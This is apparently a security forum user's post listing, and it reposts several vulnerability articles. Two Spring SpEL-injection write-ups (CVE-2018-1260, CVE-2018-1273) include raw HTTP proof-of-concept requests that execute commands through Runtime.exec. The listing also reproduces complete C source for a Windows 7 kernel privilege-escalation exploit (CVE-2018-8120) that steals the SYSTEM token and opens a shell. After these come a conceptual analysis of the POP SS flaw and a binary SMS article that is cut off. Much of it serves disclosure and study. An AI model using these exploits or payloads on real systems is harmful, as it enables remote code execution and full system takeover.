-
Posts
18794 -
Joined
-
Last visited
-
Days Won
742
Everything posted by Nytro
-
Beware of the Magic SpEL(L) – Part 2 (CVE-2018-1260) Written by Philippe Arteau On Tuesday, we released the details of RCE vulnerability affecting Spring Data (CVE-2018-1273). We are now repeating the same exercise for a similar RCE vulnerability in Spring Security OAuth2 (CVE-2018-1260). We are going to present the attack vector, its discovery method and the conditions required for exploitation. This vulnerability also has similarities with another vulnerability disclosed in 2016. The resemblance will be discussed in the section where we review the fix. Analyzing a potential vulnerability It all started by the report of the bug pattern SPEL_INJECTION by Find Security Bugs. It reported the use of SpelExpressionParser.parseExpression() with a dynamic parameter, the same API used in the previous vulnerability we had found. The expression parser is used to parse expressions placed between curly brackets “${…}”. public SpelView(String template) { this.template = template; this.prefix = new RandomValueStringGenerator().generate() + "{"; this.context.addPropertyAccessor(new MapAccessor()); this.resolver = new PlaceholderResolver() { public String resolvePlaceholder(String name) { Expression expression = parser.parseExpression(name); //Expression parser Object value = expression.getValue(context); return value == null ? null : value.toString(); } }; } 1 2 3 4 5 6 7 8 9 10 11 12 public SpelView(String template) { this.template = template; this.prefix = new RandomValueStringGenerator().generate() + "{"; this.context.addPropertyAccessor(new MapAccessor()); this.resolver = new PlaceholderResolver() { public String resolvePlaceholder(String name) { Expression expression = parser.parseExpression(name); //Expression parser Object value = expression.getValue(context); return value == null ? null : value.toString(); } }; } The controller class WhitelabelApprovalEndpoint uses this SpelView class to build the approval page for OAuth2 authorization flow. The SpelView class evaluates the string named “template” – see code below – as a Spring Expression. @RequestMapping("/oauth/confirm_access") public ModelAndView getAccessConfirmation(Map<String, Object> model, HttpServletRequest request) throws Exception { String template = createTemplate(model, request); if (request.getAttribute("_csrf") != null) { model.put("_csrf", request.getAttribute("_csrf")); } return new ModelAndView(new SpelView(template), model); //template variable is a SpEL } 1 2 3 4 5 6 7 8 @RequestMapping("/oauth/confirm_access") public ModelAndView getAccessConfirmation(Map<String, Object> model, HttpServletRequest request) throws Exception { String template = createTemplate(model, request); if (request.getAttribute("_csrf") != null) { model.put("_csrf", request.getAttribute("_csrf")); } return new ModelAndView(new SpelView(template), model); //template variable is a SpEL } Following the methods createTemplate() and createScopes(), we can see that the attribute “scopes” is appended to the HTML template which will be evaluated as an expression. The only model parameter bound to the template is a CSRF token. However, the CSRF token will not be under the control of a remote user. protected String createTemplate(Map<String, Object> model, HttpServletRequest request) { String template = TEMPLATE; if (model.containsKey("scopes") || request.getAttribute("scopes") != null) { template = template.replace("%scopes%", createScopes(model, request)).replace("%denial%", ""); } [...] private CharSequence createScopes(Map<String, Object> model, HttpServletRequest request) { StringBuilder builder = new StringBuilder("<ul>"); @SuppressWarnings("unchecked") Map<String, String> scopes = (Map<String, String>) (model.containsKey("scopes") ? model.get("scopes") : request .getAttribute("scopes")); //Scope attribute loaded here for (String scope : scopes.keySet()) { String approved = "true".equals(scopes.get(scope)) ? " checked" : ""; String denied = !"true".equals(scopes.get(scope)) ? " checked" : ""; String value = SCOPE.replace("%scope%", scope).replace("%key%", scope).replace("%approved%", approved) .replace("%denied%", denied); builder.append(value); } builder.append("</ul>"); return builder.toString(); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 protected String createTemplate(Map<String, Object> model, HttpServletRequest request) { String template = TEMPLATE; if (model.containsKey("scopes") || request.getAttribute("scopes") != null) { template = template.replace("%scopes%", createScopes(model, request)).replace("%denial%", ""); } [...] private CharSequence createScopes(Map<String, Object> model, HttpServletRequest request) { StringBuilder builder = new StringBuilder("<ul>"); @SuppressWarnings("unchecked") Map<String, String> scopes = (Map<String, String>) (model.containsKey("scopes") ? model.get("scopes") : request .getAttribute("scopes")); //Scope attribute loaded here for (String scope : scopes.keySet()) { String approved = "true".equals(scopes.get(scope)) ? " checked" : ""; String denied = !"true".equals(scopes.get(scope)) ? " checked" : ""; String value = SCOPE.replace("%scope%", scope).replace("%key%", scope).replace("%approved%", approved) .replace("%denied%", denied); builder.append(value); } builder.append("</ul>"); return builder.toString(); } At this point, we are unsure if the scopes attribute can be controlled by the remote user. While attribute (req.getAttribute(..)) represents session values stored server-side, scope is an optional parameter part of OAuth2 flow. The parameter might be accessible to the user, saved to the server-side attributes and finally loaded into the previous template. After some research in the documentation and some manual tests, we found that “scope” is a GET parameter part of the implicit OAuth2 flow. Therefore, the implicit mode would be required for our vulnerable application. Proof-of-Concept and Limitations When testing our application, we realized that the scopes were validated against a scopes whitelist defined by the user/client. If this whitelist is configured, we can’t be creative with the parameter scope. If the scopes are simply not defined, no validation is applied to the name of the scopes. This limitation will likely make most Spring OAuth2 applications safe. This first request made used the scope “${1338-1}”, see picture below. Based on the response, we now have a confirmation that the scope parameter’s value can reach the SpelView expression evaluation. We can see in the resulting HTML multiples instances of the string “scope.1337”. Pushing the probe value ${1338-1} A second test was made using the expression “${T(java.lang.Runtime).getRuntime().exec(“calc.exe”)}” to verify that the expressions are not limited to simple arithmetic operations. Simple proof-of-concept request spawning a calc.exe subprocess For easier reproduction, here is the raw HTTP request from the previous screenshot. Some characters – mainly curly brackets – were not supported by the web container and needed to be URL encoded in order to reach the application. { -> %7b POST /oauth/authorize?response_type=code&client_id=client&username=user&password=user&grant_type=password&scope=%24%7bT(java.lang.Runtime).getRuntime().exec(%22calc.exe%22)%7d&redirect_uri=http://csrf.me HTTP/1.1 Host: localhost:8080 Authorization: Bearer 1f5e6d97-7448-4d8d-bb6f-4315706a4e38 Content-Type: application/x-www-form-urlencoded Accept: */* Content-Length: 0 1 2 3 4 5 6 POST /oauth/authorize?response_type=code&client_id=client&username=user&password=user&grant_type=password&scope=%24%7bT(java.lang.Runtime).getRuntime().exec(%22calc.exe%22)%7d&redirect_uri=http://csrf.me HTTP/1.1 Host: localhost:8080 Authorization: Bearer 1f5e6d97-7448-4d8d-bb6f-4315706a4e38 Content-Type: application/x-www-form-urlencoded Accept: */* Content-Length: 0 Reviewing The Fix The solution chosen by the Pivotal team was to replace SpelView with a simpler view, with basic concatenation. This eliminates all possible paths to a SpEL evaluation. The first patch proposed introduced a potential XSS vulnerability, but luckily this was spotted before any release was made. The scope values are now properly escaped and free from any injection. More importantly, this solution improved the security of another endpoint: WhitelabelErrorEndpoint. The endpoint is also no longer uses a Spel View. It was found vulnerable to an identical attack vector in 2016. Spring-OAuth2 also used the SpelView class to build the error page. The interesting twist is that the template parameter was static, but the parameters bound to the template were evaluated recursively. This means that any value in the model could lead to a Remote Code Execution. Example with normal values Example with an expression included in the model This recursive evaluation was fixed by adding a random prefix to the expression boundary. The security of this template now relies on the randomness of 6 characters (62 possibilities to the power of 6). Some analysts were skeptical regarding this fix and raised the risk of a race condition if enough attempts are made. However, this is no longer a possibility since SpelView was also removed from this endpoint. The SpelView class is also present in Spring Boot. This implementation has a custom resolver to avoid recursion. This means that while the Spring-OAuth2 project no longer uses it, some other components, or proprietary applications, might have reused (copy-pasted) this utility class to save some time. For this reason, a new detector looking for SpelView was introduced in Find Security Bugs. The detector does not look for a specific package name because we assume that the application will likely have a copy of the SpelView class rather than a reference to Spring-OAuth2 or Spring Boot classes. Limitation & exploitability We encourage you to keep all your web applications’ dependencies up-to-date. If for any reason you must delay the last month’s updates, here are the specific conditions for exploitation: Spring OAuth2 in your dependency tree The users must have implicit flow enabled; it can be enabled along with other grant types The scope list needs to be empty (not explicitly set to one or more elements) The good news is that not all OAuth2 applications will be vulnerable. In order to specify arbitrary scopes, the user profile of the attacker needs to have an empty list of scopes. Conclusion This was the second and last article of the series on SpEL injection vulnerabilities. We hope it brought some light on this less frequent vulnerability class. As mentioned previously in Part 1, finding this vulnerability class in your own application is unlikely. It is more likely to come up in components similar to Spring-Data or Spring-OAuth. If you are a Java developer or tasked with reviewing Java code for security, you could scan your application using Find Security Bugs, the tool we used to find this vulnerability. This type of vulnerability hunting can be daunting because many code patterns cause indirection, making variable tracking harder. Kudos to Alvaros Muñoz, pyn3rd and Gal Goldshtein who reproduced the vulnerability and documented the flaw a few days after the official announcement made by Pivotal. Reference https://pivotal.io/security/cve-2018-1260: Official vulnerability announcement by Pivotal https://pivotal.io/security/cve-2016-4977: Similar vulnerability affecting Spring-OAuth2 https://docs.spring.io/spring/docs/3.0.x/reference/expressions.html: Spring Expression language capabilities http://find-sec-bugs.github.io/bugs.htm#SPEL_INJECTION: Bug description from Find Security Bugs Sursa: http://gosecure.net/2018/05/17/beware-of-the-magic-spell-part-2-cve-2018-1260/
-
Written by Philippe Arteau This February, we ran a Find Security Bugs scan on over at least one hundred components from the Spring Framework, including the core components (spring-core, spring-mvc) but also optional components (spring-data, spring-social, spring-oauth, etc.). From this exercise, we reported some vulnerabilities. In this blog post, we are going to give more details on a SpEL injection vulnerability. While some proof of concept code and exploitation details have already surfaced on Twitter, we will add a focus on how these vulnerabilities were found, followed by a thorough review of the proposed fix. Initial Analysis Our journey started when we noticed a suspicious expression evaluation in the MapDataBinder.java class, identified by the SPEL_INJECTION pattern as reported by Find Security Bugs. We discovered that the parameter propertyName came from a POST parameter upon form submission: public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException { if (!isWritableProperty(propertyName)) { // <---Validation here throw new NotWritablePropertyException(type, propertyName); } StandardEvaluationContext context = new StandardEvaluationContext(); context.addPropertyAccessor(new PropertyTraversingMapAccessor(type, conversionService)); context.setTypeConverter(new StandardTypeConverter(conversionService)); context.setRootObject(map); Expression expression = PARSER.parseExpression(propertyName); // Expression evaluation 1 2 3 4 5 6 7 8 9 public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException { if (!isWritableProperty(propertyName)) { // <---Validation here throw new NotWritablePropertyException(type, propertyName); } StandardEvaluationContext context = new StandardEvaluationContext(); context.addPropertyAccessor(new PropertyTraversingMapAccessor(type, conversionService)); context.setTypeConverter(new StandardTypeConverter(conversionService)); context.setRootObject(map); Expression expression = PARSER.parseExpression(propertyName); // Expression evaluation The sole protection against arbitrary expression evaluation appears to be the validation from the isWritableProperty method. Following the execution trace, it can be seen that the isWritableProperty method leads to the execution of getPropertyPath: @Override public boolean isWritableProperty(String propertyName) { try { return getPropertyPath(propertyName) != null; } catch (PropertyReferenceException e) { return false; } } 1 2 3 4 5 6 7 8 9 @Override public boolean isWritableProperty(String propertyName) { try { return getPropertyPath(propertyName) != null; } catch (PropertyReferenceException e) { return false; } } private PropertyPath getPropertyPath(String propertyName) { String plainPropertyPath = propertyName.replaceAll("\\[.*?\\]", ""); return PropertyPath.from(plainPropertyPath, type); } 1 2 3 4 5 private PropertyPath getPropertyPath(String propertyName) { String plainPropertyPath = propertyName.replaceAll("\\[.*?\\]", ""); return PropertyPath.from(plainPropertyPath, type); } We were about to review the PropertyPath.from() method in detail, but we realized a much easier bypass was possible: any value enclosed by brackets is removed and therefore the value is ignored. With this knowledge, the attack vector becomes clearer. We’re possibly able to submit a parameter name that would have the pattern “parameterName[T(malicious.class).exec(‘test’)]”. Building a Proof-of-concept An idea is nothing until it is put into action. When performing extensive code review, the creation of a proof of concept can sometimes be difficult. Luckily, it was not the case for this vulnerability. The first step was obviously constructing a vulnerable environment. We reused an example project located in spring-data-examples repository. The web project used an interface as a form which is required to reach this specific mapper. After identifying the form, we built the following request and sent it with an HTTP proxy. We were instantly greeted with the calculator spawn, confirming the exploitability of the module: POST /users?size=5 HTTP/1.1 Host: localhost:8080 Referer: http://localhost:8080/ Content-Type: application/x-www-form-urlencoded Content-Length: 110 Connection: close Upgrade-Insecure-Requests: 1 username=test&password=test&repeatedPassword=test&password<strong>[T(java.lang.Runtime).getRuntime().exec("calc")]</strong>=abc 1 2 3 4 5 6 7 8 9 POST /users?size=5 HTTP/1.1 Host: localhost:8080 Referer: http://localhost:8080/ Content-Type: application/x-www-form-urlencoded Content-Length: 110 Connection: close Upgrade-Insecure-Requests: 1 username=test&password=test&repeatedPassword=test&password<strong>[T(java.lang.Runtime).getRuntime().exec("calc")]</strong>=abc Simple proof of concept request spawning a calc.exe subprocess Reviewing The Fix A complete fix was made in the changeset associated to the bug id DATACMNS-1264. Here is why it can be considered really effective. While the attack vector presented previously relies on the side effect of a regex, another risk was also found in the implementation. The processed value was parsed twice; once for validation, and once again for execution. This is a subtle detail that is often overlooked when performing code review. An attacker could potentially exploit one subtitle difference between each implementation. This remains theoretical because we didn’t find any difference between both. The correction made by Pivotal also addresses this small double parsing risk that could have introduced a vulnerability in the future. In the first place, a more limited expression parser (SimpleEvaluationContext) was used. Then, a new validation of the types is integrated as the expression is loaded and executed. The isWritableProperty method was kept but the security of the mapper doesn’t rely on it anymore: public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException { [...] EvaluationContext context = SimpleEvaluationContext // .forPropertyAccessors(new PropertyTraversingMapAccessor(type, conversionService)) // NEW Type validation .withConversionService(conversionService) // .withRootObject(map) // .build(); Expression expression = PARSER.parseExpression(propertyName); 1 2 3 4 5 6 7 8 9 public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException { [...] EvaluationContext context = SimpleEvaluationContext // .forPropertyAccessors(new PropertyTraversingMapAccessor(type, conversionService)) // NEW Type validation .withConversionService(conversionService) // .withRootObject(map) // .build(); Expression expression = PARSER.parseExpression(propertyName); Is my application affected? Most Spring developers adopted Spring Boot to help dependency management. If this is your case, you should integrate the updates as soon as possible to avoid missing critical security patches, or growing your technical debt. If for any reason you must delay the last months’ updates, here are the specific conditions for the exploitation of this specific bug: Having spring-data-commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, in your dependency tree; At least one interface is used as a form (for example UserForm in the spring-data-examples project); Impacted forms from previous conditions are also accessible to attackers. What’s next? As the title implies, there will be a second part to this article, as a very similar vulnerability was identified in Spring OAuth2. We wanted to keep both vulnerabilities separate regardless of the similarities to avoid confusion with the exploitation conditions and the different payloads. You might be wondering where these SpEL injections are likely to be present, aside from the Spring Framework itself. It is unlikely that you will find web application logic directly using the SpEL API. Our offensive security team only recalls one occurrence of such conditions. The most probable case is reviewing other Spring components similar to data-commons. Additional checks can easily be added to your automated scanning tools. If you are a Java developer or tasked with reviewing Java code for security, you could scan your application using Find Security Bugs, the tool we used to find this vulnerability. As implicitly demonstrated in this article, while this tool can be effective, the confirmation of the exploitability still requires a minimal understanding of the vulnerability class and a small analysis. We are hoping that this blog was informative to you. Maybe, you will find a similar vulnerability yourself soon. References https://pivotal.io/security/cve-2018-1273: Official publication by Pivotal https://github.com/find-sec-bugs/find-sec-bugs: Static Analysis tool used to find the vulnerability Sursa: http://gosecure.net/2018/05/15/beware-of-the-magic-spell-part-1-cve-2018-1273/
-
cve-2018-8120 Details see: http://bigric3.blogspot.com/2018/05/cve-2018-8120-analysis-and-exploit.html #include <stdio.h> #include <tchar.h> #include <windows.h> #include <strsafe.h> #include <assert.h> #include <conio.h> #include <process.h> #include <winuser.h> #include "double_free.h" // Windows 7 SP1 x86 Offsets #define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread #define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process #define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId #define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink #define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token #define SYSTEM_PID 0x004 // SYSTEM Process PID #pragma comment(lib,"User32.lib") typedef struct _FARCALL { DWORD Offset; WORD SegSelector; } FARCALL, *PFARCALL; FARCALL Farcall = { 0 }; LONG Sequence = 1; LONG Actual[3]; _NtQuerySystemInformation NtQuerySystemInformation; LPCSTR lpPsInitialSystemProcess = "PsInitialSystemProcess"; LPCSTR lpPsReferencePrimaryToken = "PsReferencePrimaryToken"; FARPROC fpPsInitialSystemProcess = NULL; FARPROC fpPsReferencePrimaryToken = NULL; NtAllocateVirtualMemory_t NtAllocateVirtualMemory; void PopShell() { STARTUPINFO si = { sizeof(STARTUPINFO) }; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); CreateProcess("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); } FARPROC WINAPI KernelSymbolInfo(LPCSTR lpSymbolName) { DWORD len; PSYSTEM_MODULE_INFORMATION ModuleInfo; LPVOID kernelBase = NULL; PUCHAR kernelImage = NULL; HMODULE hUserSpaceKernel; LPCSTR lpKernelName = NULL; FARPROC pUserKernelSymbol = NULL; FARPROC pLiveFunctionAddress = NULL; NtQuerySystemInformation = (_NtQuerySystemInformation) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation"); if (NtQuerySystemInformation == NULL) { return NULL; } NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!ModuleInfo) { return NULL; } NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len); kernelBase = ModuleInfo->Module[0].ImageBase; kernelImage = ModuleInfo->Module[0].FullPathName; lpKernelName = (LPCSTR)ModuleInfo->Module[0].FullPathName + ModuleInfo->Module[0].OffsetToFileName; hUserSpaceKernel = LoadLibraryExA(lpKernelName, 0, 0); if (hUserSpaceKernel == NULL) { VirtualFree(ModuleInfo, 0, MEM_RELEASE); return NULL; } pUserKernelSymbol = GetProcAddress(hUserSpaceKernel, lpSymbolName); if (pUserKernelSymbol == NULL) { VirtualFree(ModuleInfo, 0, MEM_RELEASE); return NULL; } pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpaceKernel + (PUCHAR)kernelBase); FreeLibrary(hUserSpaceKernel); VirtualFree(ModuleInfo, 0, MEM_RELEASE); return pLiveFunctionAddress; } LONG WINAPI VectoredHandler1( struct _EXCEPTION_POINTERS *ExceptionInfo ) { HMODULE v2; if (ExceptionInfo->ExceptionRecord->ExceptionCode == 0xE06D7363) return 1; v2 = GetModuleHandleA("kernel32.dll"); ExceptionInfo->ContextRecord->Eip = (DWORD)GetProcAddress(v2, "ExitThread"); return EXCEPTION_CONTINUE_EXECUTION; } DWORD FindAddressByHandle( HANDLE hCurProcess ) { PSYSTEM_HANDLE_INFORMATION pSysHandleInformation = new SYSTEM_HANDLE_INFORMATION; DWORD size = 0xfff00; DWORD needed = 0; DWORD dwPid = 0; NTSTATUS status; pSysHandleInformation = (PSYSTEM_HANDLE_INFORMATION)malloc(size); memset(pSysHandleInformation, 0, size); status = NtQuerySystemInformation(SystemHandleInformation, pSysHandleInformation, size, &needed); // pSysHandleInformation = (PSYSTEM_HANDLE_INFORMATION)new BYTE[needed]; // status = NtQuerySystemInformation(SystemHandleInformation, pSysHandleInformation, needed, 0); // if (!status) // { // if (0 == needed) // { // return -1;// some other error // } // // The previously supplied buffer wasn't enough. // delete pSysHandleInformation; // size = needed + 1024; // // if (!status) // { // // some other error so quit. // delete pSysHandleInformation; // return -1; // } // } dwPid = GetCurrentProcessId(); for (DWORD i = 0; i < pSysHandleInformation->dwCount; i++) { SYSTEM_HANDLE& sh = pSysHandleInformation->Handles[i]; if (sh.dwProcessId == dwPid && (DWORD)hCurProcess == (DWORD)sh.wValue) { return (DWORD)(sh.pAddress); } } return -1; } HANDLE hDesHandle = NULL; DWORD dwCurAddress; PACCESS_TOKEN pToken; DWORD *v1; DWORD v2, *p2; DWORD i; PVOID Memory = NULL; DWORD ori_ret = 0; void __declspec(naked) EscapeOfPrivilege(HANDLE hCurProcess) { __asm { push ebp mov ebp,esp } //v1 = (DWORD *)&hCurProcess; if (DuplicateHandle(hCurProcess, hCurProcess, hCurProcess, &hDesHandle, 0x10000000u, 0, 2u)) { dwCurAddress = FindAddressByHandle(hDesHandle); if ( dwCurAddress == -1 ) { printf("Find Current Process address Failed!\n"); system("pause"); //exit(-1); } printf("addrProcess:0x%08x\n", dwCurAddress); v1 = (DWORD *)dwCurAddress; __asm{ push ecx; save context lea ecx, Farcall call fword ptr[ecx] mov eax, [esp] mov [ebp-0x2c], eax add esp,4 } p2 = &v2; p2 = *(DWORD**)fpPsInitialSystemProcess; pToken = ((PsReferencePrimaryToken_t)fpPsReferencePrimaryToken)(p2); // //// walk through token offset // if ((*p2 & 0xFFFFFFF8) != (unsigned long)pToken) // { // do // { // i = p2[1]; // ++p2; // ++v1; // } while ((i & 0xFFFFFFF8) != (unsigned long)pToken); // } Memory = (PVOID)(ULONG)((char*)dwCurAddress + 0xf8); *(PULONG)Memory = *(PULONG)((char*)p2 + 0xf8); __asm { mov eax, [ebp-0x2c] push eax mov eax, PopShell push eax retf } } } int fill_callgate(int a1, int a2, int a3) { int *v3; // edx int v4; // ecx signed int v5; // esi v3 = (int *)(a1 + 4); v4 = a2 + 352; v5 = 87; do { *v3 = v4; v4 += 8; v3 += 2; --v5; } while (v5); if (!a3) { *(DWORD *)(a1 + 96) = 0xC3; // ret *(WORD *)(a1 + 76) = a2 + 0x1B4; // address low offset *(WORD *)(a1 + 82) = (unsigned int)(a2 + 0x1B4) >> 16; // address high offset *(WORD *)(a1 + 78) = 0x1A8; // segment selector *(WORD *)(a1 + 80) = 0xEC00u; *(WORD *)(a1 + 84) = 0xFFFFu; *(WORD *)(a1 + 86) = 0; *(BYTE *)(a1 + 88) = 0; *(BYTE *)(a1 + 91) = 0; *(BYTE *)(a1 + 89) = 0x9Au; *(BYTE *)(a1 + 90) = 0xCFu; } return 1; } void main() { NTSTATUS ntStatus; PVOID pMappedAddress = NULL; SIZE_T SectionSize = 0x4000; DWORD_PTR dwArg1; DWORD dwArg2; PVOID pMappedAddress1 = NULL; RtlAdjustPrivilege_t RtlAdjustPrivilege; DWORD dwPageSize = 0; char szGDT[6]; struct _SYSTEM_INFO SystemInfo; HANDLE hCurThread = NULL, hCurProcess = NULL; HMODULE hNtdll = NULL; PVOID dwAllocMem = (PVOID)0x100; PVOID pAllocMem; HWINSTA hWndstation; DWORD temp; fpPsInitialSystemProcess = KernelSymbolInfo(lpPsInitialSystemProcess); fpPsReferencePrimaryToken = KernelSymbolInfo(lpPsReferencePrimaryToken); if ( fpPsInitialSystemProcess && fpPsReferencePrimaryToken ) { AddVectoredExceptionHandler(1u, VectoredHandler1); hCurThread = GetCurrentThread(); dwArg1 = SetThreadAffinityMask(hCurThread, 1u); printf("thread prev mask : 0x % 08x\n", dwArg1); __asm { sgdt szGDT; } temp = *(int*)(szGDT + 2); printf("addrGdt:%#p\n", *(int*)(szGDT + 2)); GetSystemInfo(&SystemInfo); dwPageSize = SystemInfo.dwPageSize; hNtdll = GetModuleHandle("ntdll.dll"); NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); if (!NtAllocateVirtualMemory) { printf("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError()); system("pause"); //exit(-1); } RtlAdjustPrivilege = (RtlAdjustPrivilege_t)GetProcAddress(hNtdll, "RtlAdjustPrivilege"); if (!NtAllocateVirtualMemory) { printf("\t\t[-] Failed Resolving RtlAdjustPrivilege: 0x%X\n", GetLastError()); system("pause"); //exit(-1); } hCurProcess = GetCurrentProcess(); ntStatus = NtAllocateVirtualMemory(hCurProcess, &dwAllocMem, 0, (PULONG)&dwPageSize, 0x3000, 4); if (ntStatus) { printf("Alloc mem Failed! Error Code: 0x%08x!\n", ntStatus); system("pause"); //exit(-1); } pAllocMem = operator new(0x400); memset(pAllocMem, 0, 0x400u); *(DWORD *)(*(DWORD*)dwAllocMem + 0x14)= *(DWORD*)pAllocMem; *(DWORD *)(*(DWORD*)dwAllocMem + 0x2C) = temp+0x154; fill_callgate((int)pAllocMem, temp, 0); //*(DWORD *)(v22 + 20) = *(DWORD*)pAllocMem; //*(DWORD *)(v22 + 44) = v22[1] + 340; printf("ready to trigger!\n"); hWndstation = CreateWindowStationW(0, 0, 0x80000000, 0); if ( hWndstation ) { if (SetProcessWindowStation(hWndstation)) { __asm { //int 3 push esi mov esi, pAllocMem push eax push edx push esi push esi mov eax,0x1226 mov edx, 7FFE0300h call dword ptr[edx] pop esi pop esi pop edx pop eax pop esi } Farcall.SegSelector = 0x1a0; EscapeOfPrivilege( hCurProcess ); PopShell(); } else { int n = GetLastError(); printf("step2 failed:0x%08x\n", n); system("pause"); //exit(-1); } } else { int n = GetLastError(); printf("step1 failed:0x%08x\n", n); system("pause"); //exit(-1); } } else { printf("Init Symbols Failed! \n"); system("pause"); //exit(-1); } } Sursa: https://github.com/bigric3/cve-2018-8120
-
Dissecting the POP SS Vulnerability Author: Joe Darbyshire No Comments Share: The newly uncovered POP SS vulnerability takes advantage of a widespread misconception about behaviour of pop ss or mov ss instructions resulting in exceptions when the instruction immediately following is an interrupt. It is a privilege escalation, and as a result it assumes that the attacker has some level of control over a userland process (ring 3). The attack has the potential to upgrade their privilege level to ring 0 giving them complete control of the target system. By jailing the guest OS using a hypervisor which operates at a hardware-enforced layer below ring 0 on the machine, PCs protected by Bromium are immune to threats of this nature. Today we are dissecting the pop ss or mov ss vulnerability. To understand the attack, you must first be familiar with CPU interrupts and exceptions. CPU interrupts and exceptions Interrupts and exceptions are used by the CPU to interrupt the currently executing program in order to handle unscheduled events such as the user pressing a key or moving the mouse. Exceptions also interrupt the currently running process, but in response to an event (usually an error) resulting from the currently executing instruction. The need for these two CPU features stems from the fact that these events are not predetermined and must be dealt with as and when they occur, rather than according to a predefined schedule. When an interrupt or exception is triggered, it is down to the OS to decide how to handle it. There are operating system routines for each type of interrupt which can be triggered by the CPU to determine, from the current state information, how the instruction should be dealt with. The pop ss vulnerability takes advantage of a bug in OS routines for dealing with interrupts caused by unexpected #db (debug) exceptions triggered in the kernel. The root of the vulnerability Under normal circumstances, CPU exceptions are triggered immediately upon retirement of the instruction that caused them. However, with pop ss and mov ss instructions this is deemed unsafe since they are used as part of sequence such as the following to switch stacks: mov ss, [rax] mov rsp, rbp If mov ss, [rax] causes an exception, it would be handled with an invalid stack pointer since the stack segment offset has been changed but the new stack pointer has not yet been set. Consequently, the design decision was made to trigger the exception on retirement of the instruction immediately following the offending instruction to allow the stack pointer to be set correctly. Whilst this solved the issue of exception handling with an invalid stack pointer, it had the unforeseen side effect of creating an unexpected state for the OS if the next instruction was itself an interrupt such as in the following case: mov ss, [rax] int 0x1 In this scenario, due to the context switch caused by int 0x1 which is executed before the exception handler, the handler will be triggered from ring 0 despite being caused by ring 3 code. Since OS developers have been operating under the assumption that ring 0 code exclusively will be responsible for exceptions triggered within the kernel, this causes them to potentially mishandle this edge case whereby an exception is triggered from within the kernel by a userland process. The paper published describes one way in which the attacker can use this scenario to manipulate kernel memory in unintended ways by tricking the kernel into operating on userland data structures when handling the exception. In the kernel, the gs segment register is used as a pointer to various kernel related data structures. Following a system call, the kernel calls swapgs to set the gs register to the kernel specific value, and, upon exit from the kernel, swapgs is called again to return it to its original userland value. However, in our case, an exception was triggered before swapgs could be executed by the kernel so it is still using a user defined gs value upon triggering the exception from ring 0. In handling the interrupt, vulnerable OSs determine whether swapgs needs to be called based on the location which the interrupt was fired from. If the exception was triggered from the kernel, the OS makes the (incorrect) assumption that, swapgs has already been called when context was first switched to the kernel, so it attempts to handle it without executing this instruction first. As a result the exception is handled using a user defined gs register value creating the opportunity to corrupt kernel memory in a manner which allows for arbitrary code execution. Bromium immunity Bromium VMs are immune to escape using this kind of attack since user memory along with kernel memory is jailed within the hypervisor and specific to each instance. As a result, nothing is gained even when an attacker gains complete control of the kernel within a VM – there is no sensitive information to steal and no way for an attacker to propagate or persist. There are certain kinds of hypervisors that are potentially vulnerable to this attack including Xen legacy PV VMs. This is because the architecture runs the hypervisor at ring 0, whilst the kernel and userspace both operate as ring 3 processes communicating with one another via the hypervisor. As a result, if the hypervisor mishandles an exception, this allows for the attacker to obtain ring 0 on the physical machine effectively escaping the VM. The Bromium hypervisor is protected from this threat since it operates at a hardware-enforced layer which sits behind ring 0 for all the VMs on a system. Learn more about the Bromium Secure Platform. Sursa: https://blogs.bromium.com/dissecting-pop-ss-vulnerability/
-
Binary SMS - The old backdoor to your new thing Despite being older than many of its users, Short Messaging Service (SMS) remains a very popular communications medium and is increasingly found on remote sensors, critical infrastructure and vehicles due to an abundance of cellular coverage. To phone users, SMS means a basic 160 character text message. To carriers and developers it offers a much more powerful range of options, with sizes up to a theoretical maximum of 35KB and a myriad of binary payloads detailed within the GSM 03.40 specification. Carriers make use of these advanced features for remote management. They can send remote command SMS messages to trigger and interact with hidden applications on their devices without the user's consent. Law Enforcement can track a phone with 'silent' SMS messages designed not to alert the user. SMS technology underpins a lot of Mobile Device Management (MDM) frameworks. The coupling between a smart-phone’s software and it's radio is a lot closer than you might think. SMS messages containing malicious payloads can be targeted at listening applications on a device and from there processed by the target software. If the software is poorly written, remote memory corruption and arbitrary code execution are possible.The vehicle for getting a payload to a target application on a phone (or smart device) is the Protocol Data Unit (PDU) which contains framed user data which is forwarded, without inspection, to a logical port on the operating system – with the privileges of the radio (System normally). This is comparable to a computer running open services on the internet without a firewall. Legalities and options The GSM spectrum is very expensive private property. You may not transmit (or even receive) in GSM bands without permission. In the UK, it is an offence under the Wireless Telegraphy Act to transmit on licensed bands without permission and furthermore intercepting GSM without a warrant is an offence under the Regulation of Investigatory Powers Act.You should apply for a licence (example from OFCOM below) before commencing GSM testing and will also need a faraday cage to suppress radiation. (For these reasons, GSM interfaces get less scrutiny than TCP/IP for example). If you feel compelled to write another OpenBTS blog, we recommend not publishing screenshots that suggest you broke the law as this would be very irresponsible and could compromise your company's reputation. For users on a budget, you can send SMS PDUs as a regular subscriber over an existing public carrier using a GSM modem but you must check your carrier's terms and conditions first.Using Vodafone's Terms and Conditions for example, customers 